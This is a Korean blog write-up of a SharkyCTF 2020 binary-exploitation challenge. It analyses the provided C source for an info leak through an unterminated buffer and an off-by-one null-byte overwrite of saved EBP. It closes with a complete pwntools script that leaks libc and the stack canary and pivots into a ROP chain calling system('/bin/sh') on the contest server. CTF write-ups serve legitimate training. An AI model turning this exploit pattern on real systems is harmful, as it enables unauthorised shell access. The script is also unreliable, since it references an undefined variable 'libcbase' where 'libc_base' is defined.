SHARKYCTF2020] K1k00 4 3v3r

노션으로 옮김·2020년 5월 14일
1

skills

목록 보기
32/37
post-thumbnail

문제

I have a theory that anyone who spends most of their time on the internet, and has virtual friends, or not, knows at least one kikoo in their entourage. "Kikoo: A young teenager or child who uses text messaging, making numerous spelling mistakes, sometimes behaving immaturely, aggressively, vulgarly, rude, even violent, especially on the internet." - wiktionary.org That's the definition I found on wiktionary.org, but I think being a kikoo is not that pejorative, I also think you can be a kikoo no matter how old you are. Being a kikoo is having a different mentality, it's having a different humor, it's having different hobbies, being a kikoo is mostly an internet lover.

After reading these few lines, and that no one has come to mind, it's that there must be a problem, if there is, we'll fix it immediately. Don't worry, I'm going to teach you how to identify a kikoo, they have very characteristic behaviours, and that's what we're going to see in a moment. Start by running the program, then listen to my instructions...

nc sharkyctf.xyz 20337
kikoo_4_ever libc-2.27.so kikoo_4_ever.c

문제 파일을 실행하면 어떤 시나리오(?)를 선택할 수 있는 메뉴가 주어지고

그 후, 룰을 추가하거나 확인 및 기타 등등의 메뉴를 선택할 수 있다.


풀이

C언어 소스가 주어졌다.
프로그램이 쓸데없는 기능들로 인해 사이즈가 불필요하게 컸기 때문에 최소한의 배려를 해준 것 같다.
풀고 난 지금도 어떤 목적과 기능의 프로그램인지 모르겠을 정도니..

어쨌든 확인해보자.

소스 분석

main

int main(void){

  char tmp[64];
  int choice;
  int go_on = 1;

  initialisation();
  introduction();
  choisir_lieux();

	while(go_on){
    choix();
		printf("> ");
		choice = read_user_int();
		switch (choice) {
			case 1:
        lire_les_regles();
				break;
			case 2:
        ecrire_regle();
				break;
			case 3:
        choisir_lieux();
				break;
      case 4:
        lire_observations();
  			break;
			case 9:
        go_on = 0;
				break;
			default:
				printf("\nDon't get what you're trying to do, buddy.\n\n");
				break;
		}
	}
  return 0;
}

처음에 실행되는 initialisation()와 기타 함수는 다음의 전역 구조체 변수를 초기화한다.

typedef struct regle{
  char regle[REGLE_BUF_SIZE];
  int locked;
}Regle;

typedef struct lieux{
  char nom[LIEUX_BUF_SIZE];
  int visite;
  char initiale;
}Lieux;

typedef struct kikoos_observe{
  char pseudos[10][32];
  char observations[10][128];
  int n_observation;
}Kikoos_observe;

초기화 시키거나 내용을 추가하는 함수의 내용은 매우 길지만, 취약점과 무관한 내용이다.
넘어가자.

Libc Leak

취약점이 발생하는 포인트는 룰을 추가하는 기능의 ecrire_regle() 함수이다.

ecrire_regle

void ecrire_regle(){
  char buf[REGLE_BUF_SIZE];
  int i;
  char go_on[8] = "n";
  Regle *regle = NULL;

  if(kikoos_observe.n_observation == 0){
    puts("What are you going to write? We haven't found anything interesting yet.");
    puts("Let's go find some kikoo.");
    return;
  }

  i = get_free_index((void**)les_regles_du_kikoo);
  if(i == -1){
    puts("The list of rules is full.");
    return;
  }

  puts("\nMake me dream, what's that rule?");
  do{
    printf("Rule n°%d: ", (i+1));
    read_user_str(buf, REGLE_BUF_SIZE+0x10);
    printf("Read back what you just wrote:\n%s\n", buf);
    printf("Is it ok? Shall we move on? (y/n)");
    read_user_str(go_on, 4);
  }while(go_on[0] != 'y');

  regle = creer_regle(buf, 1);
  les_regles_du_kikoo[i] = regle;
}

kikoos_observe 구조체 배열에 값이 존재하면, 룰을 저장하는 les_regles_du_kikoo에서 비어있는 요소의 인덱스를 가져온다.

그 후 read_user_str() 함수로 룰을 입력받아 저장한다.
그런데 read_user_str()에 전달하고 있는 크기가 버퍼보다 0x10 큰 값이므로 오버플로우가 발생한다.

하지만 canary와 dummy 바이트가 존재하기 때문에 오버플로우를 이용해 직접적으로 ret를 조작할 수는 없다.

read_user_str

void read_user_str(char* s, int size){
	char *ptr = NULL;
	read(0, s, size);
	ptr = strchr(s, '\n');
	if(ptr != NULL)
		*ptr = 0;
  	//Si il y a pas de \n c'est qu'il a rempli le buffer au max du max, enfin j'crois
    	else
    		s[size] = 0;
}

라이브러리 주소가 leak되는 원인은 read_user_str 함수에 있다.
read로 입력을 받은 후 입력값에 \n이 있을 경우 널 바이트를 삽입한다.
하지만 \n을 입력하지 않는다면 널 바이트를 삽입하지 않으므로 buf에는 terminated string이 존재하지 않게 된다. 그러므로 read_user_str이 끝난 후 실행되는 ecrire_regleprintf에서 스택의 값이 leak될 것이다.

read_user_str(buf, REGLE_BUF_SIZE+0x10);
printf("Read back what you just wrote:\n%s\n", buf);

룰이 저장되는 buf에는 초기에 상당히 많은 스택의 주소값이 저장되어 있다. 이 값을 이용해 라이브러리의 base 주소를 구할 수 있으며, buf를 canary 직전까지 채운다면 canary 또한 구할 수 있게 된다.

Off-By-One EBP

read_user_str에는 한 가지 취약점이 더 존재한다.
buf를 최대 길이로 입력할 경우 다음의 코드에 의해 ebp의 마지막 바이트가 널 바이트로 덮어써진다.

else
    s[size] = 0;

스택의 프레임 구조는 다음과 같은데

EBP의 LSB(byte)가 00으로 덮어써지면, ecrire_regle에 저장되있는 EBP 값이 감소된다.
그러면 main의 ebp가 아닌 낮은 주소값을 가리킬 것이고, 그것이 페이로드가 저장된 buf라면 ret를 조작하고 rop 체인까지 구성할 수 있게 된다.

문제 바이너리는 aslr이 걸려있고 bufmain의 ebp간의 차이가 꽤 있기 때문에, 브루트 포스를 통해서 Off-By-One으로 줄어드는 주소 값이 커지는 순간을 기다려야 한다.

예를 들어, 차이가 0x50인데 ebp의 LSB가 0x20이라면 0x00으로 덮어써지더라도 ebp는 buf를 가리키지 않으므로 공격에 실패한다.

페이로드 작성

  • system를 이용해 쉘을 실행시킨다.
  • 페이로드의 ret는 nop sled와 동일하다.
  • main 함수의 루프를 빠져나오기 위해 go_on 변수 값을 0으로 설정해야 한다.
    그러기 위해 나머지 스택 값도 맞춰줘야 한다.
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

while True:
    #p = process('kikoo_4_ever')
    p = remote('sharkyctf.xyz', 20337)


    p.sendlineafter('> ', 'T')
    p.sendlineafter('> ', 'Q')
    p.sendlineafter('> ', '2')


    p.sendafter(': ', cyclic(56))
    p.recvuntil('wrote:\n')
    libc_leak = u64(p.recv(64)[56:56+6].ljust(8, '\x00'))
    libc_base = libc_leak - 0x94038
    log.info('libc_leak: ' + hex(libc_leak))
    log.info('libc_base: ' + hex(libc_base))
    p.sendlineafter('n)', 'y')

    p.sendafter(': ', cyclic(521))
    p.recvuntil('wrote:\n')
    _canary = u64(p.recv(528)[521:].rjust(8, '\x00'))
    log.info('canary: ' + hex(_canary))
    p.sendlineafter('n)', 'n')


    libc = ELF('libc-2.27.so')
    addr_system = libc.symbols['system'] + libc_base
    binsh = libc.search('/bin/sh').next() + libc_base
    pRdi_ret = 0x000000000002155f + libcbase
    ret  = 0x00000000000008aa + libcbase

    
    payload = p64(0) #go_on 
    payload += cyclic(72) #choic, tmp[64]
    payload += p64(_canary)
    payload += p64(ret)*10
    payload += p64(pRdi_ret) + p64(binsh)
    payload += p64(addr_system)
    payload += p64(_canary)      
    payload = cyclic(528-len(payload)) + payload
    p.sendafter(': ', payload)
    p.sendlineafter('n)', 'y')


    p.sendlineafter('> ', '9')
    _recv = p.recvrepeat(1)
    if _recv.find('terminated') != -1:
        p.close()
        continue
    p.interactive()

증명

코드를 실행하면

쉘을 획득할 수 있다.

0개의 댓글